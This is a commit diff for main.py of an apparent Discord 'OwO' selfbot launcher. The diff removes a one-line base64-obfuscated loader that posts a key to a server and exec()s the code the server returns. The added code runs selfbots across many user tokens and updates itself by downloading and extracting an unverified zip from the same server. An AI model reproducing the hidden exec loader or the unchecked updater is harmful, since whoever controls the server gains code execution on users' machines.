Optimize and refactor main python file

main.py

@@ -1 +1,138 @@
-import base64; exec(base64.b64decode(b'aW1wb3J0IGpzb24sIHJlcXVlc3RzDQp3aXRoIG9wZW4oInNldHRpbmcvY29uZmlnLmpzb24iKSBhcyBmaWxlOiBjb25maWcgPSBqc29uLmxvYWQoZmlsZSkNCnJlc3BvbnNlID0gcmVxdWVzdHMucG9zdChjb25maWdbJ2FwaSddICsgJy9jaGVjaycsIGpzb249eyJrZXkiOiBjb25maWdbJ2tleSddfSkNCnByaW50KHJlc3BvbnNlLmpzb24oKVsnbWVzc2FnZSddKQ0KaWYgcmVzcG9uc2Uuc3RhdHVzX2NvZGUgPT0gMjAwOiBleGVjKHJlc3BvbnNlLmpzb24oKVsnY29kZSddKQ==').decode("utf-8"))
+import requests, json, os, zipfile, shutil, asyncio, sys
+from typing import List
+
+UPDATE_FILE = "assets.zip"
+
+class BotManager:
+    def __init__(self):
+        with open("setting/config.json") as f:
+            self.config = json.load(f)
+        self.version = self.config.get("version", "0.0.0")
+
+    def update(self):
+        latest = self.check_update()
+        if latest:
+            if input("\nEnter 'Y' or 'Yes' to update: ").lower() not in ['y', 'yes']:
+                print("Update cancelled")
+                return False
+            self.download_update(latest)
+            return True
+        return False
+
+    def check_update(self):
+        try:
+            res = requests.post(f"{self.config['api']}/update/check", 
+                              json = {'key': self.config['key'], 'version': self.version})
+            data = res.json()
+
+            if res.status_code == 200:
+                print(f"New version available: {data['latest_version']}\n{data['description']}")
+                return data['latest_version']
+            elif res.status_code == 304:
+                print(f"Already latest version ({self.version})")
+                return None
+            else:
+                print(f"Update check failed: {res.status_code}")
+                return None
+        except Exception as e:
+            print(f"Update check error: {e}")
+            return None
+
+    def download_update(self, latest):
+        print("Updating...")
+        try:
+            with open(UPDATE_FILE, "wb") as f:
+                f.write(requests.get(f"{self.config['api']}/update/download").content)
+
+            if os.path.exists("assets"):
+                shutil.rmtree("assets")
+
+            with zipfile.ZipFile(UPDATE_FILE) as zf:
+                zf.extractall(".")
+
+            os.remove(UPDATE_FILE)
+
+            self.config['version'] = latest
+            with open("setting/config.json", "w") as f:
+                json.dump(self.config, f, indent = 2)
+
+            print("Update complete")
+        except Exception as e:
+            print(f"Update failed: {e}")
+
+    async def run_bot(self, bot_type: str, config_path: str):
+        if bot_type == 'owo':
+            from assets.modules.selfbot.owo.client import OwOSelfbot
+            ClientClass = OwOSelfbot
+        else:
+            print(f"Unknown bot type: {bot_type}")
+            return
+
+        tokens = self._load_tokens(config_path)
+        if not tokens:
+            print(f"No tokens in {config_path}")
+            return
+
+        clients = []
+        tasks = []
+
+        for i, token in enumerate(tokens):
+            try:
+                print(f"Starting client {i + 1}/{len(tokens)}")
+                client = ClientClass(clients, token)
+                clients.append(client)
+
+                if i > 0:
+                    await asyncio.sleep(2 + i * 0.5)
+
+                tasks.append(asyncio.create_task(self._run_client_safe(client, token)))
+            except Exception as e:
+                print(f"Client init failed: {e}")
+
+        if tasks:
+            print(f"Running {len(tasks)} clients")
+            await asyncio.gather(*tasks, return_exceptions = True)
+        else:
+            print(f"No valid {bot_type} tokens")
+
+    def _load_tokens(self, config_path: str) -> List[str]:
+        try:
+            with open(config_path) as f:
+                data = json.load(f)
+                return list(data.keys()) if isinstance(data, dict) else []
+        except Exception as e:
+            print(f"Token load failed: {e}")
+            return []
+
+    async def _run_client_safe(self, client, token: str):
+        try:
+            await client.start(token, reconnect = True)
+        except Exception as e:
+            print(f"Client error: {e}")
+            try:
+                await asyncio.sleep(30)
+                print(f"Reconnecting...")
+                await client.start(token, reconnect = True)
+            except Exception as re:
+                print(f"Reconnect failed: {re}")
+
+    async def run_all_bots(self):
+        tasks = []
+        if self.config.get('owo'):
+            tasks.append(self.run_bot('owo', 'setting/owo.json'))
+
+        if tasks:
+            await asyncio.gather(*tasks)
+        else:
+            print("No bots enabled")
+
+    def run(self):
+        if self.update():
+            print("Restarting...")
+            os.execl(sys.executable, sys.executable, *sys.argv)
+
+        print("Starting bots...")
+        asyncio.run(self.run_all_bots())
+
+if __name__ == "__main__":
+    BotManager().run()